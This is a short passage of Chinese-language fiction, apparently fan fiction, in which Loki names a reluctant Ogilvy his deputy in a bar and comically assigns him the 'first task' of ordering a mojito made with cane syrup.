“......”
奥格尔维沉默地盯着他看了几秒,眸中飞快地划过某种复杂的思绪,定在原地僵持了几秒后卸下了手中的力道。
洛基揉着嗓子咳嗽了几声,眼底是火种般燃烧蔓延的野心。
“好样的,”他毫不吝啬夸奖,“我早就看出了你是个聪明人。”
奥格尔维面无表情地收回手,转身便打算从这里离开。
“等等。”洛基再次出声喊住他。
“又有什么事?”奥格尔维不太耐烦地回过头。
“你是我的副手,我使唤你不是理所当然吗?”洛基理直气壮地说道,“现在,我要交给你第一个任务。”
“你就打算在这说?”奥格尔维露出一个轻蔑的笑容,“你不知道酒吧这种地方是最鱼龙混杂的吗?”
“我当然知道。”
洛基闻言用一种看傻子般的眼神睨了他一眼,“我只是让你去吧台帮我点一杯莫吉托。”
“......”奥格尔维的表情变得有些扭曲,“就这样?”
“不然呢?”洛基的表情没变,颐指气使地接着开口道,“哦,记得让调酒师把白砂糖换成甘蔗糖浆。”